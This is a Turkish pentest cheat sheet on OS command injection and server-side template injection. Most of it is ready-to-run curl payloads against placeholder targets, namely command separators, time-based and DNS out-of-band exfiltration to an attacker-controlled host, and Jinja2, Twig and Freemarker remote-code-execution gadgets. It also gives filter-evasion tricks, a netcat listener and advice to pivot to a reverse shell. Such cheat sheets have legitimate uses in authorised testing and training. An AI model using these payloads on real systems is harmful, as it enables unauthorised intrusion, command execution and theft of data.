OS Command Injection ve SSTI — Jinja2/Twig/Freemarker RCE
OS komut enjeksiyonu ayraçları (; | && $() ``), kör (blind) ve OOB tespit (sleep/DNS/HTTP), ve Server-Side Template Injection: Jinja2/Twig/Freemarker polyglot tespiti ile RCE payload'ları.
- Kullanıcı girdisinin bir komuta veya şablona doğrudan beslendiğine dair belirti
Komutlar
curl -s 'http://{{RHOST}}:{{RPORT}}/ping?ip=127.0.0.1;id' curl -s 'http://{{RHOST}}:{{RPORT}}/ping?ip=127.0.0.1%7Cid' -G curl -s 'http://{{RHOST}}:{{RPORT}}/api?host=$(id)' --data-urlencode 'host=127.0.0.1 $(id)' curl -s -w '%{time_total}\n' 'http://{{RHOST}}:{{RPORT}}/ping?ip=127.0.0.1;sleep+5' curl -s 'http://{{RHOST}}:{{RPORT}}/ping?ip=127.0.0.1;nslookup+$(whoami).{{LHOST}}' curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode 'name=${7*7}' --data-urlencode 'name2={{7*7}}' curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode "name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}" curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode "name={{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}" curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode "name={{['id']|filter('system')}}" curl -s -G 'http://{{RHOST}}:{{RPORT}}/render' --data-urlencode "name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}" nc -lvnp {{LPORT}} OS Command Injection
Kullanıcı girdisi (ping, nslookup, dosya adı, vb.) shell’e besleniyorsa enjeksiyon olur. Ayraçlar: ; (sıralı), | ve ||, & ve &&, satır başı %0a, komut ikamesi $(...) ve `...`. Çıktı doğrudan dönüyorsa in-band’dir.
Blind ve OOB
Çıktı görünmüyorsa:
- Time-based:
;sleep 5enjekte edilip yanıt gecikmesi ölçülür (curl -w '%{time_total}'). - OOB:
nslookup $(whoami).{{LHOST}}veyacurl http://{{LHOST}}/$(id)ile DNS/HTTP üzerinden veri sızdırılır; kendi listener’ında (tcpdump/responder/python http.server) yakalanır.
Filtre Atlatma
Boşluk engelliyse ${IFS}, <, {cmd,arg} brace expansion kullanılır. Anahtar kelime filtresine karşı w''hoami, wh\oami, $@ araya sokma teknikleri uygulanır.
SSTI Tespiti
Matematiksel polyglot ${7*7}{{7*7}} gönderilir. Yanıtta:
49(çift süslü render) -> Jinja2/Twig/Nunjucks ailesi.49(dolar-süslü render) -> Freemarker/Velocity/Smarty ailesi. Motoru kesinleştirmek için motora özgü testler ({{7*'7'}}Jinja2’de7777777, Twig’de49) yapılır.
SSTI’dan RCE’ye
- Jinja2 (Python/Flask):
config.__class__.__init__.__globals__['os'].popen('id').read()veyacycler/lipsumgadget’ları. Sandbox varsa alternatif gadget zincirleri denenir. - Twig (PHP):
{{['id']|filter('system')}}veya_self.env.registerUndefinedFilterCallback('system'). - Freemarker (Java):
freemarker.template.utility.Executeile.
Notlar
RCE doğrulanınca hemen reverse shell’e geçilir (listener önce açılmalı), ardından TTY upgrade yapılır (bkz. shell-upgrade). OOB testlerinde kendi IP’n {{LHOST}} placeholder’ı ile tutulur; gerçek IP asla gömülmez.